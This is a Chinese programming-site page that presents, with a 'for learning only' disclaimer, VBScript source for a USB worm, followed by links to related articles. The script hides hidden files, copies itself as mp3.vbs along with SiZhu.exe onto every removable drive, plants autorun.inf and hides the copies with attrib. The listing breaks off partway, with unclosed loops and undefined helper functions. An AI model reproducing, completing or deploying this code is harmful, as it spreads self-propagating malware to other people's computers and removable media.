一段病毒常用的VBS代碼
更新時(shí)間:2009年09月06日 01:00:02 作者:
vbs病毒文件常用的代碼,給這段代碼不是想讓大家做病毒,而是讓大家學(xué)習(xí)一下它的代碼,充分了解vbs技術(shù)。
復(fù)制代碼 代碼如下:
On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不顯示隱藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夾改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'復(fù)制自身及exe文件到移動(dòng)硬盤(pán)
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'給剛復(fù)制的文件加上隱藏屬性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing
您可能感興趣的文章:
- linux服務(wù)器被植入ddgs、qW3xT.2挖礦病毒的處理實(shí)戰(zhàn)記錄
- 通過(guò)批處理關(guān)閉135 137 445等端口的實(shí)現(xiàn)代碼(勒索病毒)
- 對(duì)一個(gè)vbs腳本病毒的病毒原理分析
- php網(wǎng)頁(yè)病毒清除類
- VC實(shí)現(xiàn)的病毒專殺工具完整實(shí)例
- 利用DOS命令來(lái)對(duì)抗U盤(pán)病毒保護(hù)U盤(pán)數(shù)據(jù)
- 自制殺u盤(pán)病毒的批處理代碼
- c病毒程序原理分析(防范病毒 c語(yǔ)言小病毒示例)
- 解析:清除SQL被注入惡意病毒代碼的語(yǔ)句
- Autorun 病毒清除工具bat代碼
- VBS.Runauto腳本病毒分析篇
- 記事本U盤(pán)病毒 Notepad.exe查殺方法
- 美女游戲病毒iwbkvd.exe查殺方法
- 批處理 Autorun 病毒清除工具
- Rootkit病毒的解決辦法
相關(guān)文章
用vbscript來(lái)添加ip策略 自動(dòng)封IP
看過(guò)有網(wǎng)友介紹的方法,不過(guò)是手工一條一條地封,而攻擊IP一般都是數(shù)千個(gè)不同的IP。用手工封IP的辦法太麻煩。下面我們用程序來(lái)實(shí)現(xiàn)自動(dòng)封這些IP!2009-08-08
通過(guò)vbs修改目錄名稱與快捷方式名稱的實(shí)現(xiàn)代碼
這篇文章主要是分享了如果用vbs修改目錄名與快捷方式名稱的代碼,需要的朋友可以參考下2013-07-07
用vbs返回 Internet Explorer 的下載控件和 Applet 的列表
用vbs返回 Internet Explorer 的下載控件和 Applet 的列表...2007-04-04
VBS教程:VBScript 語(yǔ)句-ReDim 語(yǔ)句
VBS教程:VBScript 語(yǔ)句-ReDim 語(yǔ)句...2006-11-11

